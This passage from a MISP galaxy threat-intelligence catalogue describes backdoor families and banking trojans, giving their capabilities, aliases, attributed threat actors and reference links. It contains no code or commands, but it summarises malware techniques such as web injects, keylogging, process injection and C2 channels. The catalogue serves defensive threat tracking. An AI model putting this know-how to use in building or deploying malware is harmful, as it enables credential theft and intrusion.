- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Table 631. Table References

Links
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.varonis.com/blog/solarwinds-sunburst-backdoor-inside-the-stealthy-apt-campaign/
https://blog.malwarebytes.com/detections/backdoor-sunburst/
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/

BPFDoor

BPFDoor is a passive backdoor used by a China-based threat actor. This backdoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP allowing the threat actor a variety of mechanisms to interact with the implant

The tag is: *misp-galaxy:backdoor="BPFDoor"*

Table 632. Table References

Links
https://troopers.de/troopers22/talks/7cv8pz/
https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896?gi=1effe9eb6507
https://twitter.com/cyb3rops/status/1523227511551033349
https://twitter.com/CraigHRowland/status/1523266585133457408

BOLDMOVE

According to Mandiant, this malware family is attributed to potential chinese background and its Linux variant is related to exploitation of Fortinet's SSL-VPN (CVE-2022-42475).

The tag is: *misp-galaxy:backdoor="BOLDMOVE"*

Table 633. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove
https://malpedia.caad.fkie.fraunhofer.de/details/elf.boldmove
https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw

PowerMagic

The tag is: *misp-galaxy:backdoor="PowerMagic"*

Table 634. Table References

Links
https://securelist.com/bad-magic-apt/109087/

VEILEDSIGNAL

VEILEDSIGNAL is a backdoor written in C that is able to execute shellcode and terminate itself. Additionally, VEILEDSIGNAL relies on additional modules that connect via Windows named pipes to interact with the Command and Control(C2) infrastructure.

The tag is: *misp-galaxy:backdoor="VEILEDSIGNAL"*

Table 635. Table References

Links
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise

POOLRAT

POOLRAT is a C/C++ macOS backdoor capable of collecting basic system information and executing commands. The commands performed include running arbitrary commands, secure deleting files, reading and writing files, updating the configuration.

The tag is: *misp-galaxy:backdoor="POOLRAT"*

Table 636. Table References

Links
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise

BIGRAISIN

BIGRAISIN is a C\C++ Windows based backdoor. It is capable of executing downloaded commands, executing downloaded files, and deleting files. Availability: Non-public

The tag is: *misp-galaxy:backdoor="BIGRAISIN"*

View relationships graph

BIGRAISIN has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 637. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

FASTFIRE

FASTFIRE is a malicious APK that connects to a server and sends details of the compromised device back to command and control (C2). Availability: Non-public

The tag is: *misp-galaxy:backdoor="FASTFIRE"*

View relationships graph

FASTFIRE has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 638. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

GRAYZONE

GRAYZONE is a C/C++ Windows backdoor capable of collecting system information, logging keystrokes, and downloading additional stages from the C2 server. Availability: Non-public

The tag is: *misp-galaxy:backdoor="GRAYZONE"*

View relationships graph

GRAYZONE has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 639. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

HANGMAN.V2

HANGMAN.V2 is a variant of the backdoor HANGMAN. HANGMAN.V2 is very similar to HANGMAN, but uses HTTP for the network communications and formats data passed to the C2 server differently. Availability: Non-public

The tag is: *misp-galaxy:backdoor="HANGMAN.V2"*

View relationships graph

HANGMAN.V2 has relationships with:

- variant-of: misp-galaxy:malpedia="HOPLIGHT" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 640. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

LOGCABIN

LOGCABIN is a file-less and modular backdoor with multiple stages. The stages consist of several VisualBasic and PowerShell scripts that are downloaded and executed. LOGCABIN collects detailed system information and sends it to the C2 before performing additional commands. Availability: Non-public

The tag is: *misp-galaxy:backdoor="LOGCABIN"*

View relationships graph

LOGCABIN has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 641. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

SOURDOUGH

SOURDOUGH is a backdoor written in C that communicates via HTTP. Its capabilities include keylogging, screenshot capture, file transfer, file execution, and directory enumeration. Availability: Non-public

The tag is: *misp-galaxy:backdoor="SOURDOUGH"*

View relationships graph

SOURDOUGH has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-

probability="likely"

Table 642. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

TROIBOMB

TROIBOMB is a C/C++ Windows backdoor that is capable of collecting system information and performing commands from the C2 server. Availability: Non-public

The tag is: *misp-galaxy:backdoor="TROIBOMB"*

View relationships graph

TROIBOMB has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 643. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

ZIPLINE

ZIPLINE makes use of extensive functionality to ensure the authentication of its custom protocol used to establish command and control (C2).

The tag is: *misp-galaxy:backdoor="ZIPLINE"*

Table 644. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

SPAWNSNAIL

SPAWNSNAIL is a backdoor that listens on localhost. It is designed to run by injecting into the dsmdm process (process responsible for supporting mobile device management features). It creates a backdoor by exposing a limited SSH server on localhost port 8300. We assess that the attacker uses the SPAWNMOLE tunneler to interact with SPAWNSNAIL.

SPAWNSNAIL's second purpose is to inject SPAWNSLOTH into dslogserver, a process supporting event logging on Connect Secure.

The tag is: *misp-galaxy:backdoor="SPAWNSNAIL"*

View relationships graph

SPAWNSNAIL has relationships with:

- used-by: misp-galaxy:threat-actor="UNC5337" with estimative-language:likelihood-probability="likely"
- preceded-by: misp-galaxy:tool="SPAWNANT" with estimative-language:likelihood-probability="likely"
- interacts-with: misp-galaxy:tool="SPAWNMOLE" with estimative-language:likelihood-probability="likely"
- injects: misp-galaxy:tool="SPAWNSLOTH" with estimative-language:likelihood-probability="likely"

Table 645. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

BRICKSTORM

BRICKSTORM is a Go backdoor targeting VMware vCenter servers. It supports the ability to set itself up as a web server, perform file system and directory manipulation, perform file operations such as upload/download, run shell commands, and perform SOCKS relaying. BRICKSTORM communicates over WebSockets to a hard-coded C2.

The tag is: *misp-galaxy:backdoor="BRICKSTORM"*

View relationships graph

BRICKSTORM has relationships with:

- used-by: misp-galaxy:threat-actor="UTA0178" with estimative-language:likelihood-probability="likely"

Table 646. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

PHANTOMNET

PHANTOMNET is a modular backdoor that communicates using a custom communication protocol over TCP. PHANTOMNET's core functionality involves expanding its capabilities through a plugin management system. The downloaded plugins are mapped directly into memory and executed.

The tag is: *misp-galaxy:backdoor="PHANTOMNET"*

View relationships graph

PHANTOMNET has relationships with:

- is-deployed-by: misp-galaxy:threat-actor="UNC5330" with estimative-language:likelihood-probability="likely"
- executed-by: misp-galaxy:tool="TONERJAM" with estimative-language:likelihood-probability="likely"

Table 647. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

TERRIBLETEA

TERRIBLETEA is a Go backdoor that communicates over HTTP using XXTEA for encrypted communications. It is built using multiple open-source Go modules and has a multitude of capabilities including Command execution, Keystroke logging, SOCKS5 proxy, Port scanning, File system interaction, SQL query execution, Screen captures, Ability to open a new SSH session, execute commands, and upload files to a remote server.

The tag is: *misp-galaxy:backdoor="TERRIBLETEA"*

View relationships graph

TERRIBLETEA has relationships with:

- is-deployed-by : misp-galaxy:threat-actor="UNC5266" with estimative-language:likelihood-probability="likely"

Table 648. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

Merdoor

Merdoor is a fully-featured backdoor that appears to have been in existence since 2018. The backdoor contains the following functionality: Installing itself as a service, Keylogging, A variety of methods to communicate with its command-and-control (C&C) server (HTTP, HTTPS, DNS, UDP, TCP), Ability to listen on a local port for commands Instances of the Merdoor backdoor are usually identical with the exception of embedded and encrypted configuration, which determines: C&C communication method, Service details, Installation directory Typically, the backdoor is injected into the legitimate processes perfhost.exe or svchost.exe.

The tag is: *misp-galaxy:backdoor="Merdoor"*

Table 649. Table References

Links

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor

Banker

A list of banker malware..

> Banker is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown - raw-data

Zeus

Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.

The tag is: *misp-galaxy:banker="Zeus"*

Zeus is also known as:

- Zbot

View relationships graph

Zeus has relationships with:

- similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 650. Table References

Links
https://usa.kaspersky.com/resource-center/threats/zeus-virus

Vawtrak

Delivered primarily by exploit kits as well as malspam campaigns utilizing macro based Microsoft Office documents as attachments. Vawtrak/Neverquest is a modularized banking trojan designed to steal credentials through harvesting, keylogging, Man-In-The-Browser, etc.

The tag is: *misp-galaxy:banker="Vawtrak"*

Vawtrak is also known as:

- Neverquest

View relationships graph

Vawtrak has relationships with:

- similar: misp-galaxy:tool="Vawtrak" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"

Table 651. Table References

Links
https://www.kaspersky.com/blog/neverquest-trojan-built-to-steal-from-hundreds-of-banks/3247/
https://www.fidelissecurity.com/threatgeek/2016/05/vawtrak-trojan-bank-it-evolving
https://www.proofpoint.com/us/threat-insight/post/In-The-Shadows
https://www.botconf.eu/wp-content/uploads/2016/11/2016-Vawtrak-technical-report.pdf

Dridex

```
Dridex leverages redirection attacks designed to send victims to malicious replicas of
the banking sites they think they're visiting.
```

The tag is: *misp-galaxy:banker="Dridex"*

Dridex is also known as:

- Feodo Version D
- Cridex

View relationships graph

Dridex has relationships with:

- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"

Table 652. Table References

Links
https://blog.malwarebytes.com/detections/trojan-dridex/
https://feodotracker.abuse.ch/

Gozi

Banking trojan delivered primarily via email (typically malspam) and exploit kits. Gozi 1.0 source leaked in 2010

The tag is: *misp-galaxy:banker="Gozi"*

Gozi is also known as:

- Ursnif
- CRM
- Snifula
- Papras

View relationships graph

Gozi has relationships with:

- similar: misp-galaxy:tool="Snifula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"

Table 653. Table References

Links
https://www.secureworks.com/research/gozi
https://www.gdatasoftware.com/blog/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007
https://lokalhost.pl/gozi_tree.txt

Goziv2

Banking trojan attributed to Project Blitzkrieg targeting U.S. Financial institutions.

The tag is: *misp-galaxy:banker="Goziv2"*

Goziv2 is also known as:

- Prinimalka

Table 654. Table References

Links
https://krebsonsecurity.com/tag/gozi-prinimalka/
https://securityintelligence.com/project-blitzkrieg-how-to-block-the-planned-prinimalka-gozi-trojan-attack/

https://lokalhost.pl/gozi_tree.txt

Gozi ISFB

Banking trojan based on Gozi source. Features include web injects for the victims' browsers, screenshoting, video recording, transparent redirections, etc. Source leaked ~ end of 2015.

The tag is: *misp-galaxy:banker="Gozi ISFB"*

View relationships graph

Gozi ISFB has relationships with:

- similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"

Table 655. Table References

Links
https://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak
https://lokalhost.pl/gozi_tree.txt

Dreambot

Dreambot is a variant of Gozi ISFB that is spread via numerous exploit kits as well as through malspam email attachments and links.

The tag is: *misp-galaxy:banker="Dreambot"*

Table 656. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality
https://lokalhost.pl/gozi_tree.txt

IAP

Gozi ISFB variant

The tag is: *misp-galaxy:banker="IAP"*

View relationships graph

IAP has relationships with:

- similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"

Table 657. Table References

Links
https://lokalhost.pl/gozi_tree.txt
http://archive.is/I7hi8#selection-217.0-217.6

GozNym

GozNym hybrid takes the best of both the Nymaim and Gozi ISFB. From the Nymaim malware, it leverages the dropper's stealth and persistence; the Gozi ISFB parts add the banking Trojan's capabilities to facilitate fraud via infected Internet browsers.

The tag is: *misp-galaxy:banker="GozNym"*

Table 658. Table References

Links
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://lokalhost.pl/gozi_tree.txt

Zloader Zeus

Zloader is a loader that loads different payloads, one of which is a Zeus module. Delivered via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="Zloader Zeus"*

Zloader Zeus is also known as:

- Zeus Terdot

View relationships graph

Zloader Zeus has relationships with:

- similar: misp-galaxy:malpedia="Zloader" with estimative-language:likelihood-probability="likely"

Table 659. Table References

Links
https://blog.threatstop.com/zloader/terdot-that-man-in-the-middle
https://www.scmagazine.com/terdot-zloaderzbot-combo-abuses-certificate-app-to-pull-off-mitm-browser-attacks/article/634443/

Zeus VM

Zeus variant that utilizes steganography in image files to retrieve configuration file.

The tag is: *misp-galaxy:banker="Zeus VM"*

Zeus VM is also known as:

- VM Zeus

View relationships graph

Zeus VM has relationships with:

- similar: misp-galaxy:malpedia="VM Zeus" with estimative-language:likelihood-probability="likely"

Table 660. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/

Zeus Sphinx

Sphinx is a modular banking trojan that is a commercial offering sold to cybercriminals via underground fraudster boards.

The tag is: *misp-galaxy:banker="Zeus Sphinx"*

View relationships graph

Zeus Sphinx has relationships with:

- similar: misp-galaxy:malpedia="Zeus Sphinx" with estimative-language:likelihood-probability="likely"

Table 661. Table References

Links
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/

Panda Banker

Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Panda Banker"*

Panda Banker is also known as:

- Zeus Panda

Table 662. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf
https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers

Zeus KINS

Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it's config in the registry.

The tag is: *misp-galaxy:banker="Zeus KINS"*

Zeus KINS is also known as:

- Kasper Internet Non-Security
- Maple

View relationships graph

Zeus KINS has relationships with:

- similar: misp-galaxy:malpedia="KINS" with estimative-language:likelihood-probability="likely"

Table 663. Table References

Links
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/
https://github.com/nyx0/KINS

Chthonic

Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.

The tag is: *misp-galaxy:banker="Chthonic"*

Chthonic is also known as:

- Chtonic

View relationships graph

Chthonic has relationships with:

- similar: misp-galaxy:malpedia="Chthonic" with estimative-language:likelihood-probability="likely"

Table 664. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/

Trickbot

Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan

The tag is: *misp-galaxy:banker="Trickbot"*

Trickbot is also known as:

- Trickster
- Trickloader

View relationships graph

Trickbot has relationships with:

- similar: misp-galaxy:tool="Trick Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"

Table 665. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/
http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html
https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/
https://www.bleepingcomputer.com/news/security/trickbot-banking-trojan-starts-stealing-windows-problem-history/

Dyre

Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architectur and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim's computer.

The tag is: *misp-galaxy:banker="Dyre"*

Dyre is also known as:

- Dyreza

View relationships graph

Dyre has relationships with:

- similar: misp-galaxy:mitre-malware="Dyre - S0024" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"

Table 666. Table References

Links
https://www.secureworks.com/research/dyre-banking-trojan
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/

Tinba

Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.

The tag is: *misp-galaxy:banker="Tinba"*

Tinba is also known as:

- Zusy
- TinyBanker
- illi

View relationships graph

Tinba has relationships with:

- similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"

Table 667. Table References

Links
https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/
http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/
https://blog.avast.com/2014/09/15/tiny-banker-trojan-targets-customers-of-major-banks-worldwide/
http://my.infotex.com/tiny-banker-trojan/

Geodo

Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.

The tag is: *misp-galaxy:banker="Geodo"*

Geodo is also known as:

- Feodo Version C
- Emotet

View relationships graph

Geodo has relationships with:

- similar: misp-galaxy:tool="Emotet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Emotet" with estimative-language:likelihood-probability="likely"

Table 668. Table References

Links
https://feodotracker.abuse.ch/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/
https://www.bleepingcomputer.com/news/security/emotet-banking-trojan-loves-usa-internet-providers/
https://www.bleepingcomputer.com/news/security/emotet-returns-with-thanksgiving-theme-and-better-phishing-tricks/
https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet
https://cofense.com/major-us-financial-institutions-imitated-advanced-geodo-emotet-phishing-lures-appear-authentic-containing-proofpoint-url-wrapped-links/

Feodo

Feodo is a banking trojan that utilizes web injects and is also capable of monitoring & manipulating cookies. Version A = Port 8080, Version B = Port 80 It is delivered primarily via exploit kits and

malspam emails.

The tag is: *misp-galaxy:banker="Feodo"*

Feodo is also known as:

- Bugat
- Cridex

View relationships graph

Feodo has relationships with:

- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"

Table 669. Table References

Links
https://securelist.com/dridex-a-history-of-evolution/78531/
https://feodotracker.abuse.ch/
http://stopmalvertising.com/rootkits/analysis-of-cridex.html

Ramnit

Originally not a banking trojan in 2010, Ramnit became a banking trojan after the Zeus source code leak. It is capable of perforrming Man-in-the-Browser attacks. Distributed primarily via exploit kits.

The tag is: *misp-galaxy:banker="Ramnit"*

Ramnit is also known as:

- Nimnul

View relationships graph

Ramnit has relationships with:

- similar: misp-galaxy:botnet="Ramnit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"

Table 670. Table References

Links
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/

Qakbot

Qakbot is a banking trojan that leverages webinjects to steal banking information from victims. It also utilizes DGA for command and control. It is primarily delivered via exploit kits.

The tag is: *misp-galaxy:banker="Qakbot"*

Qakbot is also known as:

- Qbot
- Pinkslipbot
- Akbot

View relationships graph

Qakbot has relationships with:

- similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"

Table 671. Table References

Links
https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/
https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/
https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf

Corebot

Corebot is a modular trojan that leverages a banking module that can perform browser hooking, form grabbing, MitM, webinjection to steal financial information from victims. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Corebot"*

View relationships graph

Corebot has relationships with:

- similar: misp-galaxy:malpedia="Corebot" with estimative-language:likelihood-probability="likely"

Table 672. Table References

Links
https://securityintelligence.com/an-overnight-sensation-corebot-returns-as-a-full-fledged-financial-malware/

https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/02/ASERT-Threat-Intelligence-Brief-2016-02-Corebot-1.pdf
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/

TinyNuke

TinyNuke is a modular banking trojan that includes a HiddenDesktop/VNC server and reverse SOCKS 4 server. It's main functionality is to make web injections into specific pages to steal user data. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="TinyNuke"*

TinyNuke is also known as:

- NukeBot
- Nuclear Bot
- MicroBankingTrojan
- Xbot

View relationships graph

TinyNuke has relationships with:

- similar: misp-galaxy:mitre-tool="Xbot - S0298" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 673. Table References

Links
https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/
https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/
https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4596
https://benkowlab.blogspot.ca/2017/08/quick-look-at-another-alina-fork-xbot.html

Retefe

Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails.

The tag is: *misp-galaxy:banker="Retefe"*

Retefe is also known as:

- Tsukuba
- Werdlod

View relationships graph

Retefe has relationships with:

- similar: misp-galaxy:malpedia="Retefe (Android)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"

Table 674. Table References

Links
https://www.govcert.admin.ch/blog/33/the-retefe-saga
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/
https://countuponsecurity.com/2016/02/29/retefe-banking-trojan/
https://securityblog.switch.ch/2014/11/05/retefe-with-a-new-twist/
http://securityintelligence.com/tsukuba-banking-trojan-phishing-in-japanese-waters/

ReactorBot

ReactorBot is sometimes mistakenly tagged as Rovnix. ReactorBot is a full fledged modular bot that includes a banking module that has roots with the Carberp banking trojan. Distributed primarily via malspam emails.

The tag is: *misp-galaxy:banker="ReactorBot"*

View relationships graph

ReactorBot has relationships with:

- similar: misp-galaxy:malpedia="ReactorBot" with estimative-language:likelihood-probability="likely"

Table 675. Table References

Links
http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html
https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html
http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/

Matrix Banker

Matrix Banker is named accordingly because of the Matrix reference in it's C2 panel. Distributed primarily via malspam emails.

The tag is: *misp-galaxy:banker="Matrix Banker"*

View relationships graph

Matrix Banker has relationships with:

- similar: misp-galaxy:malpedia="Matrix Banker" with estimative-language:likelihood-probability="likely"

Table 676. Table References

Links
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/

Zeus Gameover

Zeus Gameover captures banking credentials from infected computers, then use those credentials to initiate or re-direct wire transfers to accounts overseas that are controlled by the criminals. GameOver has a decentralized, peer-to-peer command and control infrastructure rather than centralized points of origin. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Zeus Gameover"*

Table 677. Table References

Links
https://heimdalsecurity.com/blog/zeus-gameover/
https://www.us-cert.gov/ncas/alerts/TA14-150A

SpyEye

SpyEye is a similar to the Zeus botnet banking trojan. It utilizes a web control panel for C2 and can perform form grabbing, autofill credit card modules, ftp grabber, pop3 grabber and HTTP basic access authorization grabber. It also contained a Kill Zeus feature which would remove any Zeus

infections if SpyEye was on the system. Distributed primarily via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="SpyEye"*

Table 678. Table References

Links
https://www.ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
https://www.computerworld.com/article/2509482/security0/spyeye-trojan-defeating-online-banking-defenses.html
https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot

Citadel

Citadel is an offspring of the Zeus banking trojan. Delivered primarily via exploit kits.

The tag is: *misp-galaxy:banker="Citadel"*

View relationships graph

Citadel has relationships with:

- similar: misp-galaxy:malpedia="Citadel" with estimative-language:likelihood-probability="likely"

Table 679. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/
https://krebsonsecurity.com/tag/citadel-trojan/
https://securityintelligence.com/cybercriminals-use-citadel-compromise-password-management-authentication-solutions/

Atmos

Atmos is derived from the Citadel banking trojan. Delivered primarily via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="Atmos"*

Table 680. Table References

Links
https://heimdalsecurity.com/blog/security-alert-citadel-trojan-resurfaces-atmos-zeus-legacy/
http://www.xylibox.com/2016/02/citadel-0011-atmos.html

Ice IX

Ice IX is a bot created using the source code of ZeuS 2.0.8.9. No major improvements compared to ZeuS 2.0.8.9.

The tag is: *misp-galaxy:banker="Ice IX"*

View relationships graph

Ice IX has relationships with:

- similar: misp-galaxy:malpedia="Ice IX" with estimative-language:likelihood-probability="likely"

Table 681. Table References

Links
https://securelist.com/ice-ix-not-cool-at-all/29111/ [https://securelist.com/ice-ix-not-cool-at-all/29111/]

Zitmo

Zeus in the mobile. Banking trojan developed for mobile devices such as Windows Mobile, Blackberry and Android.

The tag is: *misp-galaxy:banker="Zitmo"*

Table 682. Table References

Links
https://securelist.com/zeus-in-the-mobile-for-android-10/29258/

Licat

Banking trojan based on Zeus V2. Murofet is a newer version of Licat found ~end of 2011

The tag is: *misp-galaxy:banker="Licat"*

Licat is also known as:

- Murofet

View relationships graph

Licat has relationships with:

- similar: misp-galaxy:malpedia="Murofet" with estimative-language:likelihood-probability="likely"

Table 683. Table References

Links

https://johannesbader.ch/2015/09/three-variants-of-murofets-dga/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_LICAT.A
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Virus%3aWin32%2fMurofet.A

Skynet

Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.

The tag is: *misp-galaxy:banker="Skynet"*

Table 684. Table References

Links
https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/

IcedID

According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.

The tag is: *misp-galaxy:banker="IcedID"*

IcedID is also known as:

- BokBot

View relationships graph

IcedID has relationships with:

